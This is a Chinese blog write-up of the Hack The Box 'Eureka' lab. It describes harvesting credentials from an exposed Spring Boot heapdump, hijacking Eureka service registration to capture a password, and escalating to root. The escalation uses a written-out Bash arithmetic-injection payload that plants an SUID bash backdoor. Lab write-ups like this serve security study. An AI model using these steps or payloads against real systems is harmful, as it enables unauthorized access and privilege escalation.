写点什么

HTB Eureka 靶机渗透实战 - Spring Boot 堆转储与 Bash 算术注入漏洞利用

作者:qife122
  • 2025-10-06
    福建
  • 本文字数:908 字

    阅读完需:约 3 分钟

侦察

Nmap 扫描发现三个开放端口:


  • SSH (22)

  • HTTP (80) - 重定向到 furni.htb

  • HTTP (8761) - 需要基本认证

网站分析 - TCP 80

家具商店网站,技术栈为 Spring Boot 框架。通过 feroxbuster 目录扫描发现暴露的 Actuator 端点,特别是/actuator/heapdump堆转储端点。

获取 oscar190 用户 Shell

堆转储分析

下载堆转储文件并使用多种工具分析:


  • VisualVM:图形化分析堆转储

  • JDumpSpider:自动化提取敏感信息


发现关键凭证:


  • 数据库连接字符串:jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}

  • Eureka 服务认证:http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

SSH 访问

使用发现的凭证成功 SSH 登录:


ssh oscar190@furni.htb密码:0sc@r190_S0l!dP@sswd
复制代码

获取 miranda-wise 用户 Shell

系统枚举

发现多个 Spring Boot 应用:


  • cloud-gateway [TCP 8080]

  • User Management [TCP 8081]

  • Furni website [TCP 8082]

  • Eureka server [TCP 8761]

Spring Cloud Gateway 劫持

利用 Eureka 服务注册机制:


  1. 注册恶意 USER-MANAGEMENT-SERVICE 实例指向攻击者 IP

  2. 删除合法服务实例

  3. 拦截 miranda-wise 的登录请求


捕获到凭证:IL!veT0Be&BeT0L0ve

SSH 访问 miranda-wise

ssh miranda-wise@furni.htb密码:IL!veT0Be&BeT0L0ve
复制代码

获取 root 权限

漏洞分析

发现定时任务执行的/opt/log_analyse.sh脚本存在 Bash 算术注入漏洞:


analyze_http_statuses() {    while IFS= read -r line; do        code=$(echo "$line" | grep -oP 'Status: \K.*')        # 漏洞:code变量直接用于算术比较        if [[ "$existing_code" -eq "$code" ]]; then            # ...        fi    done}
复制代码

漏洞利用

利用 Bash 算术表达式注入:


echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log
复制代码


创建 SUID bash 后门并获取 root shell:


/tmp/0xdf -p
复制代码

总结

本渗透测试展示了 Spring Boot 应用安全配置不当导致的完整攻击链:从堆转储信息泄露到服务注册劫持,最终通过脚本漏洞实现权限提升。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
HTB Eureka靶机渗透实战 - Spring Boot堆转储与Bash算术注入漏洞利用_spring-boot_qife122_InfoQ写作社区